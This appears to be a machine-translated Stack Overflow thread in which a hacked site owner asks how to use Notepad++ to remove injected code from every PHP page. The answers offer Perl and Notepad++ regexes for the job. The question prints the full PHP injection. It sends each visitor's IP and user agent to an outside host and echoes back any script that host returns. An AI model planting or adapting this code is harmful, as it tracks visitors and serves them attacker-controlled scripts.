Notepad ++擦除之间的任何东西..没有REGEX?

时间:2015-05-17 20:55:37

标签: notepad++ wildcard

我在GoDaddy上的所有网站昨天都遭到黑客入侵,并在每个PHP页面中都插入了此代码。 : - (

<?php
#6278d7#
error_reporting(0); @ini_set('display_errors',0); $wp_krzr3 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_krzr3) && !preg_match ('/bot/i', $wp_krzr3))){
$wp_krzr093="http://"."html"."common".".com/"."common"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_krzr3);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_krzr093); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_3krzr = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_3krzr = @file_get_contents($wp_krzr093);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_3krzr=@stream_get_contents(@fopen($wp_krzr093, "r"));}}
if (substr($wp_3krzr,1,3) === 'scr'){ echo $wp_3krzr; }
#/6278d7#
?>

我想删除第一个和最后一个#字符之间的所有内容,并替换为空,取消此代码。

我尝试使用文件夹搜索并替换为:

#.*#.*#.*#

和这个

<?php.*#.*#.*#.*#.*?>

..因为。*意味着“介于两者之间”,对吧? (当我复制到我认为是换行符的搜索字段时,在打开php语句后会出现一些框字符)

我很困惑。有帮助吗? Stack Overflow是一个很好的资源BTW,谢谢!

2 个答案:

答案 0 :(得分:0)

只需使用perl

尝试此正则表达式替换
perl -0777 -pe 's/#([0-9a-f]{6})#.+?#\/\1#/OK/s' < test.txt

如果您看到&#34;确定&#34;,它就可以正常工作

我认为邪恶代码包含在HEX表示中的某种开/关标签中。

注意!!请在尝试之前做一个备份!!

答案 1 :(得分:0)

有一个假设。 1.代码的十六进制数字总是6个字符

在Notepad ++中使用RegEx。你应该搜索这个: (#[0-f]{6}#)(.*)(#/[0-f]{6}#) 并替换为##确保选项为&#34;。匹配换行符&#34;检查。